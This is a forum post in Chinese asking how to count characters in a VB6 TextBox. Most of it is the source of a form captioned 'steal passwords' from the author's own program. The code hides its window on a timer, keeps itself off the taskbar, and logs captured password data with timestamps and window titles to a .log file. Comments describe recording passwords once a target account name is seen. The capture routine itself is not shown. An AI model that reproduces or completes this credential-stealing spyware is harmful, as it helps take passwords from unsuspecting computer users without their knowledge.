none
[VB6] 怎樣可以取得TextBox字數? RRS feed

  • 問題

  • 怎樣可以取得TextBox字數?

    最近我寫的程式必須取得TextBox字數,

    否則用不到Right()來取得資料,

    以下是Form2的檔案內容:

     

    Form2.frm

    VERSION 5.00
    Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
    Begin VB.Form Form2
       BorderStyle     =   3  '雙線固定對話方塊
       Caption         =   "偷密碼"
       ClientHeight    =   4680
       ClientLeft      =   45
       ClientTop       =   330
       ClientWidth     =   7710
       ControlBox      =   0   'False
       Icon            =   "Form2.frx":0000
       LinkTopic       =   "Form2"
       MaxButton       =   0   'False
       MinButton       =   0   'False
       ScaleHeight     =   4680
       ScaleWidth      =   7710
       ShowInTaskbar   =   0   'False
       StartUpPosition =   3  '系統預設值
       Begin VB.Timer Timer3
          Enabled         =   0   'False
          Interval        =   1000
          Left            =   3135
          Top             =   975
       End
       Begin VB.Timer Timer2
          Interval        =   1000
          Left            =   2640
          Top             =   1065
       End
       Begin VB.TextBox Text4
          BorderStyle     =   0  '沒有框線
          BeginProperty Font
             Name            =   "Arial"
             Size            =   9
             Charset         =   0
             Weight          =   400
             Underline       =   0   'False
             Italic          =   0   'False
             Strikethrough   =   0   'False
          EndProperty
          Height          =   270
          Left            =   6345
          TabIndex        =   10
          Top             =   2895
          Width           =   1245
       End
       Begin VB.Timer Timer1
          Enabled         =   0   'False
          Interval        =   1000
          Left            =   2145
          Top             =   1005
       End
       Begin MSComDlg.CommonDialog CommonDialog1
          Left            =   1590
          Top             =   975
          _ExtentX        =   847
          _ExtentY        =   847
          _Version        =   393216
          Filter          =   "*.log"
       End
       Begin VB.Frame Frame1
          Caption         =   "存檔"
          Height          =   720
          Left            =   105
          TabIndex        =   6
          Top             =   3810
          Width           =   7485
          Begin VB.CommandButton Command5
             Caption         =   "更改路徑"
             Height          =   330
             Left            =   6105
             TabIndex        =   8
             Top             =   270
             Width           =   1215
          End
          Begin VB.TextBox Text3
             BorderStyle     =   0  '沒有框線
             BeginProperty Font
                Name            =   "Arial"
                Size            =   9
                Charset         =   0
                Weight          =   400
                Underline       =   0   'False
                Italic          =   0   'False
                Strikethrough   =   0   'False
             EndProperty
             Height          =   315
             Left            =   210
             Locked          =   -1  'True
             TabIndex        =   7
             Top             =   270
             Width           =   5805
          End
       End
       Begin VB.TextBox Text2
          BorderStyle     =   0  '沒有框線
          BeginProperty Font
             Name            =   "Arial"
             Size            =   9
             Charset         =   0
             Weight          =   400
             Underline       =   0   'False
             Italic          =   0   'False
             Strikethrough   =   0   'False
          EndProperty
          Height          =   255
          Left            =   1950
          TabIndex        =   5
          Text            =   "120"
          Top             =   2895
          Width           =   975
       End
       Begin VB.CommandButton Command4
          Caption         =   "隱藏視窗 ( 秒 ):"
          Height          =   375
          Left            =   120
          TabIndex        =   4
          Top             =   2835
          Width           =   1695
       End
       Begin VB.CommandButton Command3
          Caption         =   "複製選取資料"
          Height          =   375
          Left            =   3165
          TabIndex        =   3
          Top             =   2865
          Width           =   2070
       End
       Begin VB.CommandButton Command2
          Caption         =   "清除記錄"
          Height          =   375
          Left            =   3165
          TabIndex        =   2
          Top             =   3330
          Width           =   2070
       End
       Begin VB.TextBox Text1
          Enabled         =   0   'False
          BeginProperty Font
             Name            =   "Fixedsys"
             Size            =   12
             Charset         =   136
             Weight          =   400
             Underline       =   0   'False
             Italic          =   0   'False
             Strikethrough   =   0   'False
          EndProperty
          Height          =   2550
          Left            =   105
          Locked          =   -1  'True
          MultiLine       =   -1  'True
          ScrollBars      =   3  '兩者皆有
          TabIndex        =   1
          Top             =   120
          Width           =   7500
       End
       Begin VB.CommandButton Command1
          Caption         =   "儲存檔案並返回主視窗"
          Height          =   375
          Left            =   105
          TabIndex        =   0
          Top             =   3315
          Width           =   2835
       End
       Begin VB.Label Label1
          AutoSize        =   -1  'True
          Caption         =   "特定字詞:"
          Height          =   180
          Left            =   5385
          TabIndex        =   9
          Top             =   2940
          Width           =   900
       End
    End
    Attribute VB_Name = "Form2"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = False
    Public PasswordData As String
    Public TextWindow As String
    Dim OldData As String
    Dim SleepTime As Double

    Private Sub Command1_Click()
    Timer1.Enabled = False
    Timer2.Enabled = False
    SaveFile Text3.Text, Text1.Text
    Text1.Text = ""
    Form1.Command2_Click
    End Sub


    Private Sub Command2_Click()
    Text1.Text = ""
    End Sub

    Private Sub Command3_Click()
    Clipboard.Clear
    Clipboard.SetText (Text1.SelText)
    End Sub

    Private Sub Command4_Click()
    On Error Resume Next
    SleepTime = Text2.Text
    Timer1.Enabled = True
    Me.Visible = False
    End Sub

    Private Sub Command5_Click()
    CommonDialog1.ShowSave
    Text3.Text = CommonDialog1.FileName & ".log"
    End Sub


    Private Sub Timer1_Timer()
    On Error Resume Next
    SleepTime = SleepTime - 1
    If SleepTime <= 0 Then
    Me.Visible = True
    Timer1.Enabled = False
    Else
    'Do nothing
    End If
    End Sub

    Private Sub Timer2_Timer()
    CheckValue OldData, PasswordData
    End Sub

    Sub SaveFile(ByVal FileName, OuputData As String)
    On Error Resume Next
    Open FileName For Output As #1
    Write #1, OuputData
    Close #1
    End Sub

    Sub CheckValue(ByVal OldStr, NewStr As String)
    If NewStr = OldStr Then
    'Do nothing
    Else
    Text1.SelText = NewStr
    End If

    'Check the account name......
    'If true,then start timer3 and stop time2
    'to record the password(s).

    End Sub

    Private Sub Timer3_Timer()
    Text1.SelText = Now & " : " & PasswordData & " , " & TextWindow
    End Sub

     

     

    2007年6月11日 上午 04:56

解答